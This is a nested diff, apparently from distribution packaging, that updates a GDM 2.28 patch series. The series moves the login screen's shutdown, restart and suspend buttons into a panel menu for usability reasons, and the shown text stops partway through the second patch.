+Author: Ray Strode <rstrode at redhat.com>
+Date:   Tue Oct 20 17:56:09 2009 -0400
+
+    Move Shutdown functions to panel instead of login window
+    
+    Robert Ancell gives a good rationale for the move:
+    "In GDM 2.28/master on startup the user is presented with a window
+    containing:
+    - A list of users to log in as with the first user selected
+    - Two buttons, restart and shutdown, below the user list
+    
+    Since the first user is selected, users who are unfamiliar/not paying
+    close attention sometimes click on the shutdown button as this is placed
+    where the default action (in this case login) is conventionally placed
+    (the lower right hand corner of the window).  The penalty of making this
+    mistake is for the computer to shut down immediately with no chance of
+    aborting this mistake.
+    
+    An additional mistake users can make is to miss clicking on their user
+    and then click on the shutdown button (as this button is replaced with
+    the login button after selecting a user).
+    
+    Recommended behaviour:
+    
+    Move the shutdown actions (shutdown, sleep, hibernate, restart) to a
+    menu on the GDM panel.
+    
+    The shutdown buttons do not need to be prominently located as:
+    - They are used less frequently than the login buttons (normal operation
+      is to shutdown from within your session).
+    - Most hardware has a dedicated power button that performs the same
+      action
+    - It is better to have them in a location where they are less likely to
+      be accidentally activated"
+    
+    (see https://bugs.gnome.org/596151)
+
+From e53b45310bc0b83ab14fdfde1cac6e6ea22d82b7 Mon Sep 17 00:00:00 2001
+From: Robert Ancell <robert.ancell at canonical.com>
+Date: Thu, 24 Sep 2009 15:51:10 +1000
+Subject: [PATCH 1/3] Move shutdown buttons to menu in panel (Bug #596151)
+
+---
+ gui/simple-greeter/Makefile.am                    |    2 +-
+ gui/simple-greeter/gdm-greeter-login-window.c     |  294 ---------------------
+ gui/simple-greeter/gdm-greeter-login-window.glade |  194 --------------
+ gui/simple-greeter/gdm-greeter-panel.c            |  263 ++++++++++++++++++-
+ gui/simple-greeter/gdm-greeter-panel.h            |    3 +-
+ gui/simple-greeter/gdm-greeter-session.c          |    4 +-
+ gui/simple-greeter/test-greeter-panel.c           |    2 +-
+ 7 files changed, 267 insertions(+), 495 deletions(-)
+
+diff --git a/gui/simple-greeter/Makefile.am b/gui/simple-greeter/Makefile.am
+index 4c06bc3..519e652 100644
+--- a/gui/simple-greeter/Makefile.am
++++ b/gui/simple-greeter/Makefile.am
+@@ -92,7 +92,6 @@ test_greeter_login_window_LDADD =	\
+ 	libgdmuser.la			\
+ 	$(COMMON_LIBS)			\
+ 	$(SIMPLE_GREETER_LIBS)		\
+-	$(DEVKIT_POWER_LIBS)		\
+ 	$(RBAC_LIBS)			\
+ 	$(NULL)
+ 
+@@ -144,6 +143,7 @@ test_greeter_panel_LDADD =	\
+ 	$(GTK_LIBS)			\
+ 	$(GCONF_LIBS)			\
+ 	$(LIBXKLAVIER_LIBS)		\
++	$(DEVKIT_POWER_LIBS)		\
+ 	$(NULL)
+ 
+ test_remote_login_window_SOURCES = 	\
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index 10a5132..9a29a2e 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -34,11 +34,6 @@
  #include <errno.h>
  #include <pwd.h>
  
@@ -13,7 +88,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  #include <glib.h>
  #include <glib/gi18n.h>
  #include <glib/gstdio.h>
-@@ -59,10 +54,6 @@
+@@ -56,10 +51,6 @@
  #include <dbus/dbus-glib.h>
  #include <dbus/dbus-glib-lowlevel.h>
  
@@ -21,10 +96,10 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
 -#include <devkit-power-gobject/devicekit-power.h>
 -#endif
 -
- #include "gdm-marshal.h"
- 
  #include "gdm-settings-client.h"
-@@ -97,7 +88,6 @@
+ #include "gdm-settings-keys.h"
+ #include "gdm-profile.h"
+@@ -90,7 +81,6 @@
  #define KEY_BANNER_MESSAGE_TEXT     KEY_GREETER_DIR "/banner_message_text"
  #define KEY_BANNER_MESSAGE_TEXT_NOCHOOSER     KEY_GREETER_DIR "/banner_message_text_nochooser"
  #define KEY_LOGO                    KEY_GREETER_DIR "/logo_icon_name"
@@ -32,7 +107,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  #define GDM_GREETER_LOGIN_WINDOW_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GDM_TYPE_GREETER_LOGIN_WINDOW, GdmGreeterLoginWindowPrivate))
  
  enum {
-@@ -134,8 +124,6 @@ struct GdmGreeterLoginWindowPrivate
+@@ -125,8 +115,6 @@ struct GdmGreeterLoginWindowPrivate
          char            *timed_login_username;
          guint            timed_login_timeout_id;
  
@@ -41,7 +116,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
          guint            login_button_handler_id;
          guint            start_session_handler_id;
  };
-@@ -378,37 +366,6 @@ sensitize_widget (GdmGreeterLoginWindow 
+@@ -353,37 +341,6 @@ sensitize_widget (GdmGreeterLoginWindow *login_window,
          }
  }
  
@@ -77,9 +152,9 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
 -}
 -
  static void
- on_login_button_clicked_timed_login (GtkButton             *button,
-                                      GdmGreeterLoginWindow *login_window)
-@@ -562,61 +519,6 @@ adjust_other_login_visibility(GdmGreeter
+ on_login_button_clicked_answer_query (GtkButton             *button,
+                                       GdmGreeterLoginWindow *login_window)
+@@ -477,61 +434,6 @@ adjust_other_login_visibility(GdmGreeterLoginWindow *login_window)
          }
  }
  
@@ -141,13 +216,12 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  static void
  switch_mode (GdmGreeterLoginWindow *login_window,
               int                    number)
-@@ -624,17 +526,7 @@ switch_mode (GdmGreeterLoginWindow *logi
+@@ -539,16 +441,6 @@ switch_mode (GdmGreeterLoginWindow *login_window,
          const char *default_name;
          GtkWidget  *user_chooser;
          GtkWidget  *box;
 -        gboolean    show_restart_buttons;
 -        gboolean    show_suspend_button;
-         int         number_of_tasks;
 -
 -        show_restart_buttons = get_show_restart_buttons (login_window);
 -
@@ -159,7 +233,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  
          /* we want to run this even if we're supposed to
             be in the mode already so that we reset everything
-@@ -643,30 +534,15 @@ switch_mode (GdmGreeterLoginWindow *logi
+@@ -557,38 +449,20 @@ switch_mode (GdmGreeterLoginWindow *login_window,
  
          default_name = NULL;
  
@@ -180,8 +254,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
 -                show_widget (login_window, "disconnect-button",
 -                             ! login_window->priv->display_is_local);
 -
-                 show_widget (login_window, "auth-page-box", FALSE);
-                 show_widget (login_window, "conversation-list", FALSE);
+                 show_widget (login_window, "auth-input-box", FALSE);
  
 -                add_sensitize_power_buttons_timeout (login_window);
 -                sensitize_widget (login_window, "shutdown-button", FALSE);
@@ -190,21 +263,19 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
                  sensitize_widget (login_window, "disconnect-button", FALSE);
  
                  default_name = NULL;
-@@ -676,9 +552,6 @@ switch_mode (GdmGreeterLoginWindow *logi
-                                              GTK_WIDGET (login_window)->allocation.width,
-                                              -1);
+                 break;
+         case MODE_AUTHENTICATION:
                  show_widget (login_window, "cancel-button", TRUE);
 -                show_widget (login_window, "shutdown-button", FALSE);
 -                show_widget (login_window, "restart-button", FALSE);
 -                show_widget (login_window, "suspend-button", FALSE);
                  show_widget (login_window, "disconnect-button", FALSE);
-                 show_widget (login_window, "auth-page-box", TRUE);
- 
-@@ -723,32 +596,6 @@ switch_mode (GdmGreeterLoginWindow *logi
-         }
+                 default_name = "log-in-button";
+                 break;
+@@ -629,32 +503,6 @@ switch_mode (GdmGreeterLoginWindow *login_window,
  }
  
--static void
+ static void
 -do_disconnect (GdmGreeterLoginWindow *login_window)
 -{
 -        gtk_main_quit ();
@@ -230,10 +301,11 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
 -}
 -#endif
 -
- static gboolean
- task_has_service_name (GdmTaskList *task_list,
-                        GdmTask     *task,
-@@ -1229,16 +1076,6 @@ gdm_greeter_login_window_get_property (G
+-static void
+ delete_entry_text (GtkWidget *entry)
+ {
+         const char *typed_text;
+@@ -968,16 +816,6 @@ gdm_greeter_login_window_get_property (GObject    *object,
  }
  
  static void
@@ -250,7 +322,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  cancel_button_clicked (GtkButton             *button,
                         GdmGreeterLoginWindow *login_window)
  {
-@@ -1246,125 +1083,6 @@ cancel_button_clicked (GtkButton        
+@@ -985,125 +823,6 @@ cancel_button_clicked (GtkButton             *button,
  }
  
  static void
@@ -376,9 +448,9 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  on_user_chooser_visibility_changed (GdmGreeterLoginWindow *login_window)
  {
          update_banner_message (login_window);
-@@ -1877,20 +1595,9 @@ load_theme (GdmGreeterLoginWindow *login
+@@ -1400,20 +1119,9 @@ load_theme (GdmGreeterLoginWindow *login_window)
+         login_window->priv->auth_banner_label = glade_xml_get_widget (login_window->priv->xml, "auth-banner-label");
          /*make_label_small_italic (login_window->priv->auth_banner_label);*/
-         login_window->priv->auth_page_box = glade_xml_get_widget (login_window->priv->xml, "auth-page-box");
  
 -        button = glade_xml_get_widget (login_window->priv->xml, "suspend-button");
 -        g_signal_connect (button, "clicked", G_CALLBACK (suspend_button_clicked), login_window);
@@ -394,10 +466,10 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
 -        button = glade_xml_get_widget (login_window->priv->xml, "shutdown-button");
 -        g_signal_connect (button, "clicked", G_CALLBACK (shutdown_button_clicked), login_window);
 -
-         create_computer_info (login_window);
- 
-         box = glade_xml_get_widget (login_window->priv->xml, "computer-info-event-box");
-@@ -2484,8 +2191,6 @@ gdm_greeter_login_window_finalize (GObje
+         entry = glade_xml_get_widget (login_window->priv->xml, "auth-prompt-entry");
+         /* Only change the invisible character if it '*' otherwise assume it is OK */
+         if ('*' == gtk_entry_get_invisible_char (GTK_ENTRY (entry))) {
+@@ -1780,8 +1488,6 @@ gdm_greeter_login_window_finalize (GObject *object)
                  g_object_unref (login_window->priv->client);
          }
  
@@ -406,9 +478,10 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
          G_OBJECT_CLASS (gdm_greeter_login_window_parent_class)->finalize (object);
  }
  
-diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade
---- gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade.move-shutdown-functions	2009-10-20 18:10:14.224636470 -0400
-+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-login-window.glade	2009-10-20 18:10:14.326876724 -0400
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.glade b/gui/simple-greeter/gdm-greeter-login-window.glade
+index d972c82..7c6e94b 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.glade
++++ b/gui/simple-greeter/gdm-greeter-login-window.glade
 @@ -337,200 +337,6 @@
  		  <property name="spacing">6</property>
  
@@ -610,9 +683,10 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  		    <widget class="GtkButton" id="cancel-button">
  		      <property name="visible">True</property>
  		      <property name="can_focus">True</property>
-diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c
---- gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c.move-shutdown-functions	2009-10-19 18:12:45.000000000 -0400
-+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.c	2009-10-20 18:10:14.338886522 -0400
+diff --git a/gui/simple-greeter/gdm-greeter-panel.c b/gui/simple-greeter/gdm-greeter-panel.c
+index dbdef29..dd0cb32 100644
+--- a/gui/simple-greeter/gdm-greeter-panel.c
++++ b/gui/simple-greeter/gdm-greeter-panel.c
 @@ -27,12 +27,22 @@
  #include <unistd.h>
  #include <string.h>
@@ -653,16 +727,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  #define GDM_GREETER_PANEL_GET_PRIVATE(o) (G_TYPE_INSTANCE_GET_PRIVATE ((o), GDM_TYPE_GREETER_PANEL, GdmGreeterPanelPrivate))
  
  struct GdmGreeterPanelPrivate
-@@ -57,6 +77,8 @@ struct GdmGreeterPanelPrivate
-         GtkWidget              *option_hbox;
-         GtkWidget              *hostname_label;
-         GtkWidget              *clock;
-+        GtkWidget              *shutdown_button;
-+        GtkWidget              *shutdown_menu;
-         GtkWidget              *language_option_widget;
-         GtkWidget              *layout_option_widget;
-         GtkWidget              *session_option_widget;
-@@ -66,11 +88,15 @@ struct GdmGreeterPanelPrivate
+@@ -66,11 +86,15 @@ struct GdmGreeterPanelPrivate
  
          char                   *default_session_name;
          char                   *default_language_name;
@@ -679,7 +744,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  };
  
  enum {
-@@ -107,6 +133,13 @@ gdm_greeter_panel_set_monitor (GdmGreete
+@@ -107,6 +131,13 @@ gdm_greeter_panel_set_monitor (GdmGreeterPanel *panel,
  }
  
  static void
@@ -693,7 +758,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  gdm_greeter_panel_set_property (GObject        *object,
                                  guint           prop_id,
                                  const GValue   *value,
-@@ -120,6 +153,9 @@ gdm_greeter_panel_set_property (GObject 
+@@ -120,6 +151,9 @@ gdm_greeter_panel_set_property (GObject        *object,
          case PROP_MONITOR:
                  gdm_greeter_panel_set_monitor (self, g_value_get_int (value));
                  break;
@@ -703,7 +768,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
          default:
                  G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
                  break;
-@@ -140,6 +176,9 @@ gdm_greeter_panel_get_property (GObject 
+@@ -140,6 +174,9 @@ gdm_greeter_panel_get_property (GObject        *object,
          case PROP_MONITOR:
                  g_value_set_int (value, self->priv->monitor);
                  break;
@@ -713,7 +778,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
          default:
                  G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
                  break;
-@@ -477,6 +516,13 @@ gdm_greeter_panel_class_init (GdmGreeter
+@@ -477,6 +514,13 @@ gdm_greeter_panel_class_init (GdmGreeterPanelClass *klass)
                                                             G_MAXINT,
                                                             0,
                                                             G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
@@ -727,7 +792,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  
          g_type_class_add_private (klass, sizeof (GdmGreeterPanelPrivate));
  }
-@@ -563,6 +609,216 @@ on_animation_tick (GdmGreeterPanel *pane
+@@ -563,11 +607,185 @@ on_animation_tick (GdmGreeterPanel *panel,
          gtk_widget_queue_resize (GTK_WIDGET (panel));
  }
  
@@ -903,48 +968,17 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
 +        return show;
 +}
 +
-+static void
-+position_shutdown_menu (GtkMenu         *menu,
-+                        int             *x,
-+                        int             *y,
-+                        gboolean        *push_in,
-+                        GdmGreeterPanel *panel)
-+{
-+        GtkRequisition menu_requisition;
-+
-+        *push_in = TRUE;
-+
-+        *x = panel->priv->shutdown_button->allocation.x;
-+        gtk_window_get_position (GTK_WINDOW (panel), NULL, y);
-+
-+        gtk_widget_size_request (GTK_WIDGET (menu), &menu_requisition);
-+
-+        *y -= menu_requisition.height;
-+}
-+
-+static void
-+on_shutdown_button_toggled (GdmGreeterPanel *panel)
-+{
-+        if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (panel->priv->shutdown_button))) {
-+                gtk_menu_popup (GTK_MENU (panel->priv->shutdown_menu), NULL, NULL,
-+                                (GtkMenuPositionFunc) position_shutdown_menu,
-+                                panel, 0, 0);
-+        } else {
-+                gtk_menu_popdown (GTK_MENU (panel->priv->shutdown_menu));
-+        }
-+}
-+
-+static void
-+on_shutdown_menu_deactivate (GdmGreeterPanel *panel)
-+{
-+        gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (panel->priv->shutdown_button),
-+                                      FALSE);
-+}
-+
  static void
  gdm_greeter_panel_init (GdmGreeterPanel *panel)
  {
-@@ -603,6 +859,8 @@ gdm_greeter_panel_init (GdmGreeterPanel 
+         NaTray    *tray;
+         GtkWidget *spacer;
++        GtkWidget *shutdown_menu;
++        GtkWidget *menu, *menu_item;
+ 
+         gdm_profile_start (NULL);
+ 
+@@ -603,6 +821,8 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
          spacer = gtk_label_new ("");
          gtk_box_pack_start (GTK_BOX (panel->priv->option_hbox), spacer, TRUE, TRUE, 6);
          gtk_widget_show (spacer);
@@ -953,59 +987,50 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  
          gdm_profile_start ("creating option widget");
          panel->priv->language_option_widget = gdm_language_option_widget_new ();
-@@ -642,6 +900,51 @@ gdm_greeter_panel_init (GdmGreeterPanel 
+@@ -642,6 +862,42 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
                  gtk_widget_show (panel->priv->hostname_label);
          }
  
 +        if (panel->priv->display_is_local || get_show_restart_buttons (panel)) {
-+                GtkWidget *menu_item;
-+                GtkWidget *image;
++                shutdown_menu = gtk_menu_bar_new ();
 +
-+                panel->priv->shutdown_button = gtk_toggle_button_new ();
-+                gtk_button_set_relief (GTK_BUTTON (panel->priv->shutdown_button),
-+                                       GTK_RELIEF_NONE);
-+
-+                panel->priv->shutdown_menu = gtk_menu_new ();
-+                gtk_menu_attach_to_widget (GTK_MENU (panel->priv->shutdown_menu),
-+                                           panel->priv->shutdown_button, NULL);
-+                g_signal_connect_swapped (panel->priv->shutdown_button, "toggled",
-+                                          G_CALLBACK (on_shutdown_button_toggled), panel);
-+                g_signal_connect_swapped (panel->priv->shutdown_menu, "deactivate",
-+                                          G_CALLBACK (on_shutdown_menu_deactivate), panel);
-+
-+                image = gtk_image_new_from_icon_name ("system-shutdown", GTK_ICON_SIZE_BUTTON);
-+                gtk_widget_show (image);
-+                gtk_container_add (GTK_CONTAINER (panel->priv->shutdown_button), image);
++                menu_item = gtk_image_menu_item_new ();
++                menu = gtk_menu_new ();
++                gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_item), menu);
++                gtk_image_menu_item_set_always_show_image (GTK_IMAGE_MENU_ITEM (menu_item), TRUE);
++                gtk_menu_item_set_label (GTK_MENU_ITEM (menu_item), "");
++                gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (menu_item),
++                                               gtk_image_new_from_icon_name ("system-shutdown", GTK_ICON_SIZE_BUTTON));
++                gtk_menu_shell_append (GTK_MENU_SHELL (shutdown_menu), menu_item);
 +
 +                if (panel->priv->display_is_local) {
 +                        menu_item = gtk_menu_item_new_with_label ("Disconnect");
 +                        g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_disconnect), NULL);
-+                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
++                        gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
 +                } else {
 +                        if (can_suspend ()) {
-+                                menu_item = gtk_menu_item_new_with_label (_("Suspend"));
++                                menu_item = gtk_menu_item_new_with_label ("Suspend");
 +                                g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_suspend), NULL);
-+                                gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
++                                gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
 +                        }
 +
-+                        menu_item = gtk_menu_item_new_with_label (_("Restart"));
++                        menu_item = gtk_menu_item_new_with_label ("Restart");
 +                        g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_restart), NULL);
-+                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
++                        gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
 +
-+                        menu_item = gtk_menu_item_new_with_label (_("Shut Down"));
++                        menu_item = gtk_menu_item_new_with_label ("Shut Down");
 +                        g_signal_connect (G_OBJECT (menu_item), "activate", G_CALLBACK (do_system_stop), NULL);
-+                        gtk_menu_shell_append (GTK_MENU_SHELL (panel->priv->shutdown_menu), menu_item);
++                        gtk_menu_shell_append (GTK_MENU_SHELL (menu), menu_item);
 +                }
 +
-+                gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (panel->priv->shutdown_button), FALSE, FALSE, 0);
-+                gtk_widget_show_all (panel->priv->shutdown_menu);
-+                gtk_widget_show_all (GTK_WIDGET (panel->priv->shutdown_button));
++                gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (shutdown_menu), FALSE, FALSE, 0);
++                gtk_widget_show_all (GTK_WIDGET (shutdown_menu));
 +        }
 +
          panel->priv->clock = gdm_clock_widget_new ();
          gtk_box_pack_end (GTK_BOX (panel->priv->hbox),
                              GTK_WIDGET (panel->priv->clock), FALSE, FALSE, 6);
-@@ -651,7 +954,6 @@ gdm_greeter_panel_init (GdmGreeterPanel 
+@@ -651,7 +907,6 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
                                         GTK_ORIENTATION_HORIZONTAL);
          gtk_box_pack_end (GTK_BOX (panel->priv->hbox), GTK_WIDGET (tray), FALSE, FALSE, 6);
          gtk_widget_show (GTK_WIDGET (tray));
@@ -1013,7 +1038,7 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
          gdm_greeter_panel_hide_user_options (panel);
  
          panel->priv->progress = 0.0;
-@@ -684,13 +986,15 @@ gdm_greeter_panel_finalize (GObject *obj
+@@ -684,13 +939,15 @@ gdm_greeter_panel_finalize (GObject *object)
  
  GtkWidget *
  gdm_greeter_panel_new (GdkScreen *screen,
@@ -1030,9 +1055,10 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
                                 NULL);
  
          return GTK_WIDGET (object);
-diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h
---- gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h.move-shutdown-functions	2009-10-19 18:12:45.000000000 -0400
-+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-panel.h	2009-10-20 18:10:14.330886648 -0400
+diff --git a/gui/simple-greeter/gdm-greeter-panel.h b/gui/simple-greeter/gdm-greeter-panel.h
+index 1e637f5..625c80d 100644
+--- a/gui/simple-greeter/gdm-greeter-panel.h
++++ b/gui/simple-greeter/gdm-greeter-panel.h
 @@ -60,7 +60,8 @@ typedef struct
  GType                  gdm_greeter_panel_get_type                       (void);
  
@@ -1043,10 +1069,11 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  
  void                   gdm_greeter_panel_show_user_options              (GdmGreeterPanel *panel);
  void                   gdm_greeter_panel_hide_user_options              (GdmGreeterPanel *panel);
-diff -up gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c
---- gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c.move-shutdown-functions	2009-10-20 18:10:14.231637268 -0400
-+++ gdm-2.28.1/gui/simple-greeter/gdm-greeter-session.c	2009-10-20 18:10:14.332887524 -0400
-@@ -369,13 +369,15 @@ toggle_panel (GdmGreeterSession *session
+diff --git a/gui/simple-greeter/gdm-greeter-session.c b/gui/simple-greeter/gdm-greeter-session.c
+index 167b693..e7d206a 100644
+--- a/gui/simple-greeter/gdm-greeter-session.c
++++ b/gui/simple-greeter/gdm-greeter-session.c
+@@ -332,13 +332,15 @@ toggle_panel (GdmGreeterSession *session,
                  GdkScreen  *screen;
                  int         monitor;
                  int         x, y;
@@ -1063,28 +1090,10 @@ diff -up gdm-2.28.1/gui/simple-greeter/g
  
                  g_signal_connect_swapped (session->priv->panel,
                                            "language-selected",
-diff -up gdm-2.28.1/gui/simple-greeter/Makefile.am.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/Makefile.am
---- gdm-2.28.1/gui/simple-greeter/Makefile.am.move-shutdown-functions	2009-10-20 18:10:14.254638094 -0400
-+++ gdm-2.28.1/gui/simple-greeter/Makefile.am	2009-10-20 18:10:14.319892618 -0400
-@@ -103,7 +103,6 @@ test_greeter_login_window_LDADD =	\
- 	libgdmuser.la			\
- 	$(COMMON_LIBS)			\
- 	$(SIMPLE_GREETER_LIBS)		\
--	$(DEVKIT_POWER_LIBS)		\
- 	$(RBAC_LIBS)			\
- 	$(NULL)
- 
-@@ -156,6 +155,7 @@ test_greeter_panel_LDADD =	\
- 	$(GTK_LIBS)			\
- 	$(GCONF_LIBS)			\
- 	$(LIBXKLAVIER_LIBS)		\
-+	$(DEVKIT_POWER_LIBS)		\
- 	$(NULL)
- 
- test_remote_login_window_SOURCES = 	\
-diff -up gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c.move-shutdown-functions gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c
---- gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c.move-shutdown-functions	2009-10-19 18:12:45.000000000 -0400
-+++ gdm-2.28.1/gui/simple-greeter/test-greeter-panel.c	2009-10-20 18:10:14.334888750 -0400
+diff --git a/gui/simple-greeter/test-greeter-panel.c b/gui/simple-greeter/test-greeter-panel.c
+index 80ef0a9..86adae3 100644
+--- a/gui/simple-greeter/test-greeter-panel.c
++++ b/gui/simple-greeter/test-greeter-panel.c
 @@ -53,7 +53,7 @@ main (int argc, char *argv[])
          gdk_display_get_pointer (display, &screen, &x, &y, NULL);
          monitor = gdk_screen_get_monitor_at_point (screen, x, y);
@@ -1094,3 +1103,185 @@ diff -up gdm-2.28.1/gui/simple-greeter/t
          gdm_greeter_panel_show_user_options (GDM_GREETER_PANEL (panel));
  
          gtk_widget_show (panel);
+-- 
+1.6.5.rc2
+
+
+From 4ee17e4732cbdc4c91e93da732de6849c4f95a86 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Tue, 20 Oct 2009 17:06:58 -0400
+Subject: [PATCH 2/3] Use button instead of menu bar
+
+The menu bar isn't a great fit for the panel
+---
+ gui/simple-greeter/gdm-greeter-panel.c |   81 +++++++++++++++++++++++++-------
+ 1 files changed, 64 insertions(+), 17 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-panel.c b/gui/simple-greeter/gdm-greeter-panel.c
+index dd0cb32..d5dd820 100644
+--- a/gui/simple-greeter/gdm-greeter-panel.c
++++ b/gui/simple-greeter/gdm-greeter-panel.c
+@@ -77,6 +77,8 @@ struct GdmGreeterPanelPrivate
+         GtkWidget              *option_hbox;
+         GtkWidget              *hostname_label;
+         GtkWidget              *clock;
++        GtkWidget              *shutdown_button;
++        GtkWidget              *shutdown_menu;
+         GtkWidget              *language_option_widget;
+         GtkWidget              *layout_option_widget;
+         GtkWidget              *session_option_widget;
+@@ -780,12 +782,48 @@ get_show_restart_buttons (GdmGreeterPanel *panel)
+ }
+ 
+ static void
++position_shutdown_menu (GtkMenu         *menu,
++                        int             *x,
++                        int             *y,
++                        gboolean        *push_in,
++                        GdmGreeterPanel *panel)
++{
++        GtkRequisition menu_requisition;
++
++        *push_in = TRUE;
++
++        *x = panel->priv->shutdown_button->allocation.x;
++        gtk_window_get_position (GTK_WINDOW (panel), NULL, y);
++
++        gtk_widget_size_request (GTK_WIDGET (menu), &menu_requisition);
++
++        *y -= menu_requisition.height;
++}
++
++static void
++on_shutdown_button_toggled (GdmGreeterPanel *panel)
++{
++        if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (panel->priv->shutdown_button))) {
++                gtk_menu_popup (GTK_MENU (panel->priv->shutdown_menu), NULL, NULL,
++                                (GtkMenuPositionFunc) position_shutdown_menu,
++                                panel, 0, 0);
++        } else {
++                gtk_menu_popdown (GTK_MENU (panel->priv->shutdown_menu));
++        }
++}
++
++static void
++on_shutdown_menu_deactivate (GdmGreeterPanel *panel)
++{
++        gtk_toggle_button_set_active (GTK_TOGGLE_BUTTON (panel->priv->shutdown_button),
++                                      FALSE);
++}
++
++static void
+ gdm_greeter_panel_init (GdmGreeterPanel *panel)
+ {
+         NaTray    *tray;
+         GtkWidget *spacer;
+-        GtkWidget *shutdown_menu;
+-        GtkWidget *menu, *menu_item;
+ 
+         gdm_profile_start (NULL);
+ 
+@@ -863,39 +901,48 @@ gdm_greeter_panel_init (GdmGreeterPanel *panel)
+         }
+ 
+         if (panel->priv->display_is_local || get_show_restart_buttons (panel)) {
+-                shutdown_menu = gtk_menu_bar_new ();
++                GtkWidget *menu_item;
++                GtkWidget *image;
++
++                panel->priv->shutdown_button = gtk_toggle_button_new ();
++                gtk_button_set_relief (GTK_BUTTON (panel->priv->shutdown_button),
++                                       GTK_RELIEF_NONE);
++
++                panel->priv->shutdown_menu = gtk_menu_new ();
++                gtk_menu_attach_to_widget (GTK_MENU (panel->priv->shutdown_menu),
++                                           panel->priv->shutdown_button, NULL);
++                g_signal_connect_swapped (panel->priv->shutdown_button, "toggled",
++                                          G_CALLBACK (on_shutdown_button_toggled), panel);
++                g_signal_connect_swapped (panel->priv->shutdown_menu, "deactivate",
++                                          G_CALLBACK (on_shutdown_menu_deactivate), panel);
+ 
+-                menu_item = gtk_image_menu_item_new ();
+-                menu = gtk_menu_new ();
+-                gtk_menu_item_set_submenu (GTK_MENU_ITEM (menu_item), menu);
+-                gtk_image_menu_item_set_always_show_image (GTK_IMAGE_MENU_ITEM (menu_item), TRUE);
+-                gtk_menu_item_set_label (GTK_MENU_ITEM (menu_item), "");
+-                gtk_image_menu_item_set_image (GTK_IMAGE_MENU_ITEM (menu_item),
+-                                               gtk_image_new_from_icon_name ("system-shutdown", GTK_ICON_SIZE_BUTTON));
+-                gtk_menu_shell_append (GTK_MENU_SHELL (shutdown_menu), menu_item);
